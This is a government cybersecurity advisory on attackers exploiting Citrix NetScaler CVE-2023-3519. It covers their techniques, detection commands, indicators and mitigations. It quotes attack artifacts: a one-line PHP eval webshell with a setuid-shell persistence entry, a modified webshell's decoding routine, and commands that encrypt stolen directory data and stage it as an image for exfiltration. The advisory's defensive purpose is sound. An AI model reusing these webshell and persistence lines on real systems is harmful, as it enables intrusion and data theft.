CYBERSECURITY ADVISORY

Authored by:

TLP:CLEAR

Product ID: AA23-201A

July 20, 2023

Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells

SUMMARY

Update September 6, 2023:

This Cybersecurity Advisory has been updated with new tactics, techniques, and procedures (TTPs) as well as indicators of compromise (IOCs) received from an additional victim and trusted third parties.

Update End

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory to warn network defenders about exploitation of CVE-2023-3519, an unauthenticated remote code execution (RCE) vulnerability affecting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and NetScaler Gateway. In June 2023, threat actors exploited this vulnerability as a zero-day to drop a webshell on a critical infrastructure organization's non-production environment NetScaler ADC appliance. The webshell enabled the actors to perform discovery on the victim's active directory (AD) and collect and exfiltrate AD data. The actors attempted to move laterally to a domain controller but network-segmentation controls for the appliance blocked movement.

The victim organization identified the compromise and reported the activity to CISA and Citrix. Citrix released a patch for this vulnerability on July 18, 2023.

This advisory provides TTPs and detection methods shared with CISA by the victim. CISA encourages critical infrastructure organizations to use the detection guidance included in this advisory for help with determining system compromise. If potential compromise is detected, organizations should apply the incident response recommendations provided in this CSA. If no compromise is detected, organizations should immediately apply patches provided by Citrix.

To report suspicious or criminal activity related to information found in this Cybersecurity Advisory, contact CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Update September 6, 2023:

In August 2023, CISA received TTPs and IOCs from an additional victim and trusted third parties. This CSA has been updated with the TTPs and IOCs to assist administrators with detecting and responding to this activity.

For a downloadable list of IOCs, see the following XML and JSON files:

- AA23-201A STIX XML
- AA23-201A STIX JSON

Update End

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors' activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Overview

In July 2023, a critical infrastructure organization reported to CISA that threat actors may have exploited a zero-day vulnerability in NetScaler ADC to implant a webshell on their non-production NetScaler ADC appliance. Citrix confirmed that the actors exploited a zero-day vulnerability: CVE-2023-3519. Citrix released a patch on July 18, 2023.[1]

Update September 6, 2023:

In August 2023, CISA received TTPs and IOCs from an additional victim and third parties. The actors implanted a webshell, gained root level access to the compromised system, and performed discovery against the Active Directory (AD). For information, see the Victim 2 and Additional Observed Activity sections.

Update End

CVE-2023-3519

CVE-2023-3519 is an unauthenticated RCE vulnerability affecting the following versions of NetScaler ADC and NetScaler Gateway:[1]

- NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13
- NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13
- NetScaler ADC and NetScaler Gateway version 12.1, now end of life
- NetScaler ADC 13.1-FIPS before 13.1-37.159
- NetScaler ADC 12.1-FIPS before 12.1-55.297
- NetScaler ADC 12.1-NDcPP before 12.1-55.297

The affected appliance must be configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or authentication, authorization, and auditing (AAA) virtual server for exploitation.[1]

CISA added CVE-2023-3519 to its Known Exploited Vulnerabilities Catalog on July 19, 2023.

Threat Actor Activity

Victim 1

As part of their initial exploit chain [T1190], the threat actors uploaded a TGZ file [T1105] containing a generic webshell [T1505.003], discovery script [TA0007], and `setuid` binary [T1548.001] on the ADC appliance and conducted SMB scanning on the subnet [T1046].

The actors used the webshell for AD enumeration [T1016] and to exfiltrate AD data [TA0010]. Specifically, the actors:

- Viewed NetScaler configuration files `/flash/nsconfig/keys/updated/*` and `/nsconfig/ns.conf` [T1105]. **Note:** These configuration files contain an encrypted password that can be decrypted by the key stored on the ADC appliance [T1552.001].
- Viewed the NetScaler decryption keys (to decrypt the AD credential from the configuration file) [T1552.004].
- Used the decrypted AD credential to query the AD via `ldapsearch`. The actors queried for:
  - Users (`objectClass=user`) (`objectcategory=person`) [T1087.002]
  - Computers (`objectClass=computer`) [T1018]
  - Groups (`objectClass=group`) [T1069.002]
  - Subnets (`objectClass=subnet`)
  - Organizational Units (`objectClass=organizationalUnit`)
  - Contacts (`objectClass=contact`)
  - Partitions (`objectClass=partition`)
  - Trusts (`objectClass=trustedDomain`) [T1482]
- Used the following command to encrypt discovery data collected via openssl in “tar ball” [T1560.001]: `tar -czvf - /var/tmp/all.txt | openssl des3 -salt -k <> -out /var/tmp/test.tar.gz`. (A “tar ball” is a compressed and zipped file used by threat actors for collection and exfiltration.)
- Exfiltrated collected data by uploading as an image file [T1036.008] to a web-accessible path [T1074]: `cp /var/tmp/test.tar.gz /netscaler/ns_gui/vpn/medialogininit.png`.

The actors’ other discovery activities were unsuccessful due to the critical infrastructure organization’s deployment of their NetScaler ADC appliance in a segmented environment. The actors attempted to:

- Execute a subnet-wide curl command to identify what was accessible from within the network as well as potential lateral movement targets.
- Verified outbound network connectivity with a ping command (`ping -c 1 google.com`) [T1016.001].

- Executed host commands for a subnet-wide DNS lookup.

The actors also attempted to delete their artifacts [TA0005]. The actors deleted the authorization configuration file (`/etc/auth.conf`)—likely to prevent configured users (e.g., admin) from logging in remotely (e.g., CLI) [T1531]. To regain access to the ADC appliance, the organization would normally reboot into single use mode, which may have deleted artifacts from the device; however, the victim had a Secure Shell (SSH) key readily available that allowed them into the appliance without rebooting it.

The actors' post-exploitation lateral movement attempts were also blocked by network-segmentation controls. The actors implanted a second webshell on the victim that they later removed. This was likely a PHP shell with proxying capability. The actors likely used this to attempt proxying SMB traffic to the DC [T1090.001] (the victim observed SMB connections where the actors attempted to use the previously decrypted AD credential to authenticate with the DC from the ADC via a virtual machine). Firewall and account restrictions (only certain internal accounts could authenticate to the DC) blocked this activity.

Update September 6, 2023:

Victim 2

Threat actors uploaded a PHP webshell `*logouttm.php*` [T1036.005], likely as part of their initial exploit chain, to `*/netscaler/ns_gui/vpn/`. Within an hour of installing the webshell, the actors implanted an Executable and Linkable Format (ELF) binary `pykeygen` that set user unique identifier (UID) to root and executed `/bin/sh` [T1059.004] via `setuid` and `execve syscall.*` [T1106]. **Note:** A third party also observed threat actors use an ELF binary (named `pip4`) to execute `/bin/sh` via `syscall` and change the UID to root. `pip4` was located at `/var/python/bin`.

With root level access, the actors used hands-on-keyboard for discovery. They queried the AD via `ldapsearch` for users, groups, and computers. They collected the data in gzipped text files renamed `1.css` and `2.css` and placed the files in `/netscaler/ns_gui/vpn/` for exfiltration.

After exfiltrating the files, the actors deleted them from the system [T1070.004] as well as some access logs, error logs, and authentication logs [T1070.002]. The victim organization detected the intrusion and mitigated the activity but did not identify signs of additional malicious activity.

For command and control (C2), the actors appeared to use compromised pfSense devices [T1584]; the victim observed communications with two pfSense IP addresses indicating the actor was using them for multi-hop proxying C2 traffic [T1090.003].

Additional Observed Activity

According to trusted third party reporting, threat actors leveraged open source webshells and other publicly available tools [T1588.002]:

- Loaded `loading[.]php` to `/vpn/vpn/`. `Loading[.]php` is a modified version of an open-source PHP webshell [2]. The modified webshell had a custom protocol handler, `update://`, created via a `stream_wrapper_register` (https://www.php.net/manual/en/function.stream-wrapper-register[.]php). The custom protocol enabled the webshell to send encoded commands to the AD via `ldapsearch`:

```
public function stream_open($path, $mode, $options, &$opened_path)
   {
       $this->code =
hex2bin(substr(base64_decode(strrev(substr(substr($path,9),5))),2));
       $this->position = 0;
       return true;
   }
```

- Loaded a modified version of open-source SSH inject tool [3] named `libnsd.so` to the `/tmp` directory. The file hooks SSH and captures credentials. The actors' modifications to the tool wrote encoded captured credentials (20 random characters + reversed/base64) to a file created in a hard-coded path (`/var/nslog/counters/prometheus/metrc_codes_client.log`) [T1074.001]. The actors then exfiltrated the collected credentials and deleted `/var/nslog/counters/prometheus/metrc_codes_client.log` 3 minutes after exfiltration). (The deleted file was recreated, possibly because the actors' memory hook was still active.)
- Deployed webshells to victim networks at `\vpn\themes`.
  - One third party observed the actors deploy the SECRETSAUCE webshell. SECRETSAUCE is a webshell written in PHP. It can receive PHP code from an `HTTP POST` request, decrypt it using an internally embedded RSA public key [T1140], and execute the code in memory; each request to the webshell returns an `HTTP 500` response code. The actor has used the following file names for SECRETSAUCE: `vpn[.]php`, `logout[.]php`, `log[.]php`, `prod[.]php` [T1036].
  - A second third party observed the actors deploy an open source webshell [4] with filename `defaults.php`.
- Deployed LIGOLO-NG [5] tunneller with the filename `the` in the `/tmp` directory. LIGOLO-NG is a tunneller [T1572] written in Go that provides encrypted reverse TCP/TLS connections [T1573.002] to a remote host.

- Deployed the NPS tunneller [6] to victim networks to the `/tmp` directory. NPS is an open source tunneller written in Go. It must be configured from the command line or via a configuration file. Features including support for most common protocols and extensions, including compression, encryption, and port reuse.

Additionally, threat actors:

- Appended `/flash/nsconfig/rc.netscaler` with:

  ```
  chmod u+s /bin/sh
  echo “<?php http_response_code(401);@eval(\$_REQUEST[‘variable’]);?>” > /[redacted path to webshell]/[redacted].php
  ```

  [T1222.002]

  The webshell path was in a web accessible folder, and the actors’ modifications enabled them to run `/bin/sh` commands as root and enabled persistence because the webshell was run on every reboot [T1547].

- Used Sysinternals ADExplorer, a Microsoft tool for viewing and editing the AD [7]. The actors dropped the tool to `C:\Users\<redacted>\AppData\Local\Temp\ADExplorer.exe` and executed it with the following command: `ADExplorer.exe -snapshot "" <filename>.dat /accepteula`.

Update End

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 1–Table 11 for all referenced threat actor tactics and techniques in this advisory.

Update September 6, 2023

The tables have been updated with the following techniques:

- Compromise Infrastructure [T1584]
- Obtain Capabilities: Tool [T1588.002]
- Command and Scripting Interpreter: Unix Shell [T1059.004]
- Native API [T1106]
- Boot or Logon Autostart Execution [T1547]
- Proxy: Multi-hop Proxy [T1090.003]
- Deobfuscate/Decode Files or Information [T1140]
- File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification [T1222.002]
- Indicator Removal [T1070]
- Indicator Removal: Clear Linux or Mac System Logs [T1070.002]

- Indicator Removal: File Deletion [T1070.004]
- Masquerading [T1036]
- Masquerading: Match Legitimate Name or Location [T1036.005]
- Data Staged: Local Data Staging [T1074.001]
- Protocol Tunneling [T1572]

End Update

Table 1: Cyber Threat Actors ATT&CK Techniques for Resource Development

Technique Title	ID	Use
Compromise Infrastructure	T1584	The threat actors appear to have used compromised pfSense devices to proxy C2 traffic to Victim 2.
Obtain Capabilities: Tool	T1588.002	The threat actors leveraged open source webshells [2] [4] and other publicly available tools, including a modified version of open-source SSH inject tool [3], LIGOLO-NG [5] tunneller, and NPS tunneller [6].

Table 2: Cyber Threat Actors ATT&CK Techniques for Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	The threat actors exploited CVE-2023-3519 to implant a webshell on the organization’s NetScaler ADC appliance.

Table 3: Cyber Threat Actors ATT&CK Techniques for Execution

Technique Title	ID	Use
Command and Scripting Interpreter: Unix Shell	T1059.004	The threat actors executed `/bin/sh` as root.
Native API	T1106	The threat actors executed `/bin/sh` via `syscall`.

Table 4: Cyber Threat Actors ATT&CK Techniques for Persistence

Technique Title	ID	Use
Boot or Logon Autostart Execution	T1547	Threat actors used `/flash/nsconfig/rc.netscaler` rewrite a webshell on every reboot.
Server Software Component: Web Shell	T1505.003	The threat actors implanted a generic webshell on the organization's NetScaler ADC appliance.

Table 5: Cyber Threat Actors ATT&CK Techniques for Privilege Escalation

Technique Title	ID	Use
Abuse Elevation Control Mechanism: Setuid and Setgid	T1548.001	As part of their initial exploit chain, the threat actors uploaded a TGZ file contain a `setuid` binary on the ADC appliance.

Table 6: Cyber Threat Actors ATT&CK Techniques for Defense Evasion

Technique Title	ID	Use
Deobfuscate/Decode Files or Information	T1140	The threat actors deployed the SECRETSAUCE webshell, which can receive PHP code from an `HTTP POST` request, decrypt it using an internally embedded RSA public key.
File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification	T1222.002	The threat actors appended `/flash/nsconfig/rc.netscaler` with: `chmod u+s /bin/sh` `echo "<?php http_response_code(401);@eval(\$_REQUEST['variable']);?>" > /[redacted path to webshell]/[redacted].php`.
Indicator Removal	T1070	The threat actors deleted log files from Victim 2.

Indicator Removal: Clear Linux or Mac System Logs	T1070.002	The threat actors some access logs, error logs, and authentication logs from Victim 2.
Indicator Removal: File Deletion	T1070.004	The threat actors deleted collected files after exfiltrating them.
Masquerading	T1036	The actor has used the following file names for SECRETSAUCE to appear legitimate: `vpn[.]php`, `logout[.]php`, `log[.]php`, and `prod[.]php`.
Masquerading: Match Legitimate Name or Location	T1036.005	The threat actors named a webshell `*logouttm.php*`.
Masquerading: Masquerade File Type	T1036.008	The threat actors exfiltrated data by uploading it as an image file to a web-accessible path.

Table 7: Cyber Threat Actors ATT&CK Techniques for Credential Access

Technique Title	ID	Use
Unsecured Credentials: Credentials In Files	T1552.001	The threat actors obtained encrypted passwords from NetScaler ADC configuration files, and the decryption key was stored on the ADC appliance.
Unsecured Credentials: Private Keys	T1552.004	The threat actors obtained decryption keys to decrypt the AD credential obtained from the NetScaler ADC configuration files.

Table 8: Cyber Threat Actors ATT&CK Techniques for Discovery

Technique Title	ID	Use
Domain Trust Discovery	T1482	The threat actors queried the AD for trusts.

Permission Groups Discovery: Domain Groups	T1069.002	The threat actors quired the AD for groups.
Remote System Discovery	T1018	The threat actors queried the AD for computers. The threat actors attempted to execute a subnet-wide curl command to identify what was accessible from within the network as well as potential lateral movement targets. Network-segmentation controls prevented this activity.
System Network Configuration Discovery	T1016	The actors used a webshell for AD enumeration.
System Network Configuration Discovery: Internet Connection Discovery	T1016.001	The threat actors attempted to verify outbound network connectivity with a ping command and executed host commands for a subnet-wide DNS lookup. Network-segmentation controls prevented this activity.
Network Service Discovery	T1046	The threat actors conducted SMB scanning on the organization’s subnet.
Account Discovery: Domain Account	T1087.002	The threat actors queried the AD for users.

Table 9: Cyber Threat Actors ATT&CK Techniques for Collection

Technique Title	ID	Use
Archive Collected Data: Archive via Utility	T1560.001	The threat actors encrypted discovery data collected via openssl in “tar ball.” ***Update September 6, 2023:*** The threat actors collected data in gzipped text files. ***End update***

Data from Local System	T1005	The threat actors viewed NetScaler ADC configuration files `flash/nsconfig/keys/updated/*` and `/nsconfig/ns.conf`.
Data Staged	T1074	The threat actors uploaded data as an image file to a web-accessible path: `cp /var/tmp/test.tar.gz /netscaler/ns_gui/vpn/medialogininit.png`.
Data Staged: Local Data Staging	T1074.001	The threat actors modified tool wrote captured credentials to a file created in a hard-coded path (`/var/nslog/counters/prometheus/metrc_codes_client.log`).

Table 10: Cyber Threat Actors ATT&CK Techniques for Command and Control

Technique Title	ID	Use
Encrypted Channel: Asymmetric Cryptography	T1573.002	The threat actors deployed LIGOLO-NG, which is a tunneller that provides encrypted reverse TCP/TLS connections to a remote host.
Ingress Tool Transfer	T1105	The threat actors exploited CVE-2023-3519 to upload a TGZ file containing a generic webshell, discovery script, and `setuid` binary on the ADC appliance.
Protocol Tunneling	T1572	The threat actors deployed LIGOLO-NG and NPS tunnellers.
Proxy: Internal Proxy	T1090.001	The actors likely used a PHP shell with proxying capability to attempt proxying SMB traffic to the DC (the traffic was blocked by a firewall and account restrictions).
Proxy: Multi-hop Proxy	T1090.003	The threat actors appear to have used compromised pfSense devices to proxy C2 traffic to Victim 2.

Table 11: Cyber Threat Actors ATT&CK Techniques for Impact

Technique Title	ID	Use
Account Access Removal	T1531	The threat actors deleted the authorization configuration file (`/etc/auth.conf`)—likely to prevent configured users from logging in remotely (e.g., CLI).

DETECTION METHODS

Run the following victim-created checks on the ADC shell interface to check for signs of compromise:

1. Check for files newer than the last installation.
2. Modify the `-newermt` parameter with the date that corresponds to your last installation:

   ```
   find /netscaler/ns_gui/ -type f -name *.php -newermt [YYYYMMDD] -exec ls -l {} \;
   find /var/vpn/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
   find /var/netscaler/logon/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
   find /var/python/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
   ```

3. Check http error logs for abnormalities that may be from initial exploit:

   ```
   zgrep '\.sh' /var/log/httperror.log*
   zgrep '\.php' /var/log/httperror.log*
   ```

4. Check shell logs for unusual `post-ex` commands, for example:

   ```
   grep '/flash/nsconfig/keys' /var/log/sh.log*
   ```

5. Look for `setuid` binaries dropped:

   ```
   find /var -perm -4000 -user root -not -path "/var/nslog/*" -newermt [YYYYMMDD] -exec ls -l {} \;
   ```

6. Review network and firewall logs for subnet-wide scanning of HTTP/HTTPS/SMB (`80/443/445`) originating from the ADC.
7. Review DNS logs for unexpected spike in internal network computer name lookup originating from the ADC (this may indicate the threat actor resolving host post-AD enumeration of computer objects).
8. Review network/firewall logs for unexpected spikes in AD/LDAP/LDAPS traffic originating from the ADC (this may indicate AD/LDAP enumeration).

9. Review number of connections/sessions from NetScaler ADC per IP address for excessive connection attempts from a single IP (this may indicate the threat actor interacting with the webshell).
10. Pay attention to larger outbound transfers from the ADC over a short period of session time as it can be indicative of data exfiltration.
11. Review AD logs for logon activities originating from the ADC IP with the account configured for AD connection.
12. If logon restriction is configured for the AD account, check event `4625` where the failure reason is "User not allowed to logon at this computer."
13. Review NetScaler ADC internal logs (`sh.log*`, `bash.log*`) for traces of potential malicious activity (some example keywords for `grep` are provided below):
    - `database.php`
    - `ns_gui/vpn`
    - `/flash/nsconfig/keys/updated`
    - `LDAPTLS_REQCERT`
    - `ldapsearch`
    - `openssl + salt`
14. Review NetScaler ADC internal access logs (`httpaccess-vpn.log*`) for 200 successful access of unknown web resources.

Update September 6, 2023:

The following resources may assist with detecting signs of compromise:

- Mandiant: Exploitation of Citrix Zero-Day by Possible Espionage Actors (CVE-2023-3519)
- GreyNoise: Will the real Citrix CVE-2023-3519 please stand up?
- Shadowserver: Technical Summary of Observed Citrix CVE-2023-3519 Incidents
- Mandiant: Indicators of Compromise Scanner for Citrix ADC Zero-Day (CVE-2023-3519)
- ***(Update October 6, 2023)*** IBM: X-Force uncovers global NetScaler Gateway credential harvesting campaign

End Update

Update September 6, 2023:

INDICATORS OF COMPROMISE

See Table 12 for IOCs obtained from Victim 2. (Note: a trusted third party observed the same PHP webshell and ELF binary hashes).

Table 12: Victim 2-provided IOCs Affiliated with Citrix CVE-2023-3519 Exploitation

File Name	Description	SHA-1 Hash	MD5 Hash
Logouttm[.]php	PHP Webshell	3345ad8b43d6771532ca55acf7e95fe98aeadb27	47b8d29319a9e85aaf829f4f2f9c6c00
pykeygen	ELF Binary	b8f9258e9c7c882944e2b773557b49e5821517fe	ee51f599d266be5fd89b423ca24521f1

See Table 13 and Table 14 for IOCs addresses obtained from trusted third parties.

Table 13: Third-party Provided IP Addresses Affiliated with Citrix CVE-2023-3519 Exploitation

IP Address	Description	Date Observed
5.2.64[.]155	Threat actors used this to drop a webshell.	June 12, 2023
5.255.101[.]76	Attempted outbound connection to this C2 observed on a victim.	Late June 2023
172.94.124[.]18	Threat actors used this infrastructure to remote into a victim network.	July 20, 2023
154.6.91[.]149	Threat actors used this infrastructure to remote into a victim network.	July 21, 2023

Table 14: Third-party Provided IOCs Affiliated with Citrix CVE-2023-3519 Exploitation

File Name	Description	SHA-1 Hash	MD5 Hash
info[.]php	PHP Webshell	55c83cb25be5c521e4874e22b1422c360abf0a29	c0b32901f9c6ce3f965b8552f7d058d4
NPS	NPS tunneller [4]	ec17f7b3acb2334a062c37e0271c31c3c8b6879c	9b6f12aed2369a99a1132edd2ede779d
the	LIGOLO-NG [3] tunneller	dec36a2aa4ecb86eafd01015e27c06f51d104317	b383c4ed6712a0a06fb85b1d8405e0f1

End Update

INCIDENT RESPONSE

If compromise is detected, organizations should:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Provision new account credentials.
4. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
5. Report the compromise to CISA via CISA's 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Update September 6, 2023:

If the threat actor used /`flash/nsconfig/rc.netscaler` to make `/bin/sh` a `setuid` binary and to rewrite a webshell on every reboot, organizations should clean `rc.netscaler` to prevent the webshell from getting rewritten by using the following third-party created command.

```
root@SOME-NETSCALER# cat /flash/nsconfig/rc.netscaler

[redacted output]

chmod u+s /bin/sh

echo "<?php http_response_code(401);@eval(\$_REQUEST['variable']);?>" >
/[redacted webshell path]/[redacted].php


root@SOME-NETSCALER# cat /[redacted webshell path]/[redacted].php

<?php http_response_code(401);@eval($_REQUEST['variable']);?>
```

End Update

MITIGATIONS

CISA recommends all organizations:

- **Install the relevant updated version of NetScaler ADC and NetScaler Gateway** as soon as possible. See Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467 for patch information.

- **Follow best cybersecurity practices** in your production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and for all services. For additional best practices, see CISA's Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of information technology (IT) and operational technology (OT) security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common TTPs. Because the CPGs are a subset of best practices, CISA and ACSC also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).
- As a longer-term effort, **apply robust network-segmentation controls on NetScaler appliances**, and other internet-facing devices.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 1–Table 11).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REFERENCES

[1] Citrix Security Bulletin CTX561482: Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467

Update September 6, 2023:

[2] GitHub - dxkite/php-stream-shell: a simple stream_wrapper shell

[3] GitHub - ssh-inject/injectme.c

[4] GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

[5] GitHub - nicocha30/ligolo-ng

[6] GitHub - ehang-io/nps

[7] Microsoft: AD Explorer - Sysinternals

End Update

Update September 6, 2023:

ACKNOWLEDGEMENTS

Mandiant and Shadowserver contributed to this Cybersecurity Advisory.

End Update

VERSION HISTORY

July 20, 2023: Initial version.

July 24, 2023: Updated affected NetScaler ADC 12.1-FIPS and NetScaler ADC 12.1-NDcPP version numbers. Updated Step 3 in Detection Methods to use `zgrep` instead of `grep`.

September 6, 2023: Updates noted throughout.

September 21, 2023: Removed persistence commands and associated technique for tampering with security tools.

October 6, 2023: Updated resources in Detection Methods section